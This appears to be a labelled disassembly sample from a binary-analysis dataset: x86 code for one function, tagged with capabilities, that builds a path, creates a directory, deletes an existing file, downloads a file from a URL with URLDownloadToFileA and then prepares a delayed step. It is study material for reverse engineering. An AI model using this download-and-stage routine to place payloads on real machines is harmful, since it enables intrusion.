Function at 0x4195a0
Capabilities:
Check if file exists
Create directory
Delete file
Download url
Receive data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4e421c
mov eax, dword fs:[0]
push eax
sub esp, 0x274
mov eax, dword [0x530400]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
lea ecx, [ebp - 0x1d1]
call fcn.00408040
mov eax, dword [0x531e84]
test eax, eax
jne 0x419628
push 0x1e0
call fcn.004bbaae
mov esi, eax
add esp, 4
mov dword [ebp - 0x1d8], esi
mov dword [ebp - 4], 0
test esi, esi
je 0x41961a
push 0x1e0
push 0
push esi
call fcn.004bda10
add esp, 0xc
mov ecx, esi
call fcn.0040e1c0
jmp 0x41961c
xor eax, eax
mov dword [ebp - 4], 0xffffffff
mov dword [0x531e84], eax
lea ecx, [ebp - 0x1d0]
push ecx
mov ecx, eax
call fcn.0040ee70
mov eax, dword [0x531e84]
mov dword [ebp - 4], 1
test eax, eax
jne 0x419687
push 0x1e0
call fcn.004bbaae
mov esi, eax
add esp, 4
mov dword [ebp - 0x1d8], esi
mov byte [ebp - 4], 2
test esi, esi
je 0x41967c
push 0x1e0
push 0
push esi
call fcn.004bda10
add esp, 0xc
mov ecx, esi
call fcn.0040e1c0
jmp 0x41967e
xor eax, eax
mov byte [ebp - 4], 1
mov dword [0x531e84], eax
lea ecx, [ebp - 0x1a0]
push ecx
mov ecx, eax
call fcn.0040ecd0
cmp dword [ebp - 0x148], 0
mov byte [ebp - 4], 3
je 0x4199da
lea eax, [ebp - 0x224]
mov dword [ebp - 0x1d8], eax
lea ecx, [ebp - 0x224]
lea eax, [ebp - 0x1d0]
push eax
call fcn.00402630
lea eax, [ebp - 0x1b8]
mov byte [ebp - 4], 4
push eax
lea ecx, [ebp - 0x20c]
call fcn.00402630
mov edi, dword [ebp - 0x188]
mov byte [ebp - 4], 3
cmp edi, dword [ebp - 0x184]
je 0x41977f
cmp dword [ebp - 0x1f8], 0xf
lea eax, [ebp - 0x20c]
mov edx, edi
cmova eax, dword [ebp - 0x20c]
cmp dword [edi + 0x14], 0xf
jbe 0x41970e
mov edx, dword [edi]
mov esi, dword [edi + 0x10]
cmp esi, dword [ebp - 0x1fc]
jne 0x419770
sub esi, 4
jb 0x419731
nop
mov ecx, dword [edx]
cmp ecx, dword [eax]
jne 0x419736
add edx, 4
add eax, 4
sub esi, 4
jae 0x419720
cmp esi, 0xfffffffc
je 0x41976a
mov cl, byte [edx]
cmp cl, byte [eax]
jne 0x419763
cmp esi, 0xfffffffd
je 0x41976a
mov cl, byte [edx + 1]
cmp cl, byte [eax + 1]
jne 0x419763
cmp esi, 0xfffffffe
je 0x41976a
mov cl, byte [edx + 2]
cmp cl, byte [eax + 2]
jne 0x419763
cmp esi, 0xffffffff
je 0x41976a
mov cl, byte [edx + 3]
cmp cl, byte [eax + 3]
je 0x41976a
sbb eax, eax
or eax, 1
jmp 0x41976c
xor eax, eax
test eax, eax
je 0x41977f
add edi, 0x18
cmp edi, dword [ebp - 0x184]
jne 0x4196f0
lea ecx, [ebp - 0x224]
call fcn.0040ebf0
cmp edi, dword [ebp - 0x184]
jne 0x4199da
lea eax, [ebp - 0x280]
push eax
call fcn.0040ce80
mov ecx, eax
call fcn.0040ecd0
cmp dword [eax + 0x14], 0xf
mov byte [ebp - 4], 5
jbe 0x4197b5
mov eax, dword [eax]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFindFileNameA]
mov edx, eax
mov dword [ebp - 0x134], 0
mov ecx, edx
mov dword [ebp - 0x130], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x144], xmm0
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4197e1
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0x144]
call fcn.00403b90
lea ecx, [ebp - 0x280]
mov byte [ebp - 4], 7
call fcn.0040e6b0
lea eax, [ebp - 0x12c]
push eax
call fcn.0040ce80
mov ecx, eax
call fcn.0040efc0
cmp dword [ebp - 0x130], 0xf
lea eax, [ebp - 0x144]
push dword [ebp - 0x134]
cmova eax, dword [ebp - 0x144]
lea ecx, [ebp - 0x12c]
push eax
mov byte [ebp - 4], 8
call fcn.004024e0
lea eax, [ebp - 0x1f4]
push eax
call fcn.0040ce80
mov ecx, eax
call fcn.0040efc0
cmp dword [eax + 0x14], 0xf
jbe 0x41985e
mov eax, dword [eax]
mov edi, dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
push eax
call edi
lea ecx, [ebp - 0x1f4]
mov esi, eax
call fcn.00403170
test esi, esi
jne 0x4198a9
lea eax, [ebp - 0x1f4]
push eax
call fcn.0040ce80
mov ecx, eax
call fcn.0040efc0
cmp dword [eax + 0x14], 0xf
jbe 0x419893
mov eax, dword [eax]
push 0
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHCreateDirectoryExA]
lea ecx, [ebp - 0x1f4]
call fcn.00403170
cmp dword [ebp - 0x118], 0xf
lea eax, [ebp - 0x12c]
cmova eax, dword [ebp - 0x12c]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea eax, [ebp - 0x280]
push eax
call fcn.0040ce80
mov ecx, eax
call fcn.0040ecd0
cmp dword [ebp - 0x118], 0xf
lea ecx, [ebp - 0x12c]
cmova ecx, dword [ebp - 0x12c]
cmp dword [eax + 0x14], 0xf
jbe 0x4198f3
mov eax, dword [eax]
push 0
push 0
push ecx
push eax
push 0
call sub.urlmon.dll_URLDownloadToFileA
test eax, eax
jne 0x419926
cmp dword [ebp - 0x118], 0xf
lea eax, [ebp - 0x12c]
cmova eax, dword [ebp - 0x12c]
push eax
call edi
mov byte [ebp - 0x1d1], 1
test eax, eax
jne 0x41992d
mov byte [ebp - 0x1d1], 0
lea ecx, [ebp - 0x280]
call fcn.0040e6b0
cmp byte [ebp - 0x1d1], 0
je 0x4199c4
push 0x104
lea eax, [ebp - 0x114]
push 0
push eax
call fcn.004bda10
push dword [ebp - 0x14c]
lea eax, [ebp - 0x114]
push str._delay_d
push eax
call fcn.00403c30
add esp, 0x18
lea eax, [ebp - 0x1f4]
push eax
call fcn.0040ce80
mov ecx, eax
call fcn.0040efc0
cmp dword [ebp - 0x130], 0xf
lea ecx, [ebp - 0x144]
mov byte [ebp - 4], 9
cmova ecx, dword [ebp - 0x144]
cmp dword [eax + 0x14], 0xf
jbe 0x4199a5
mov eax, dword [eax]
lea edx, [ebp - 0x114]
push edx
push ecx
push eax
lea ecx, [ebp - 0x1d9]
call fcn.00408b60
lea ecx, [ebp - 0x1f4]
call fcn.00403170
lea ecx, [ebp - 0x12c]
call fcn.00403170
lea ecx, [ebp - 0x144]
call fcn.00403170
lea ecx, [ebp - 0x1a0]
call fcn.0040e6b0
lea ecx, [ebp - 0x1d0]
call fcn.0040ebf0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004bbaec
mov esp, ebp
pop ebp
ret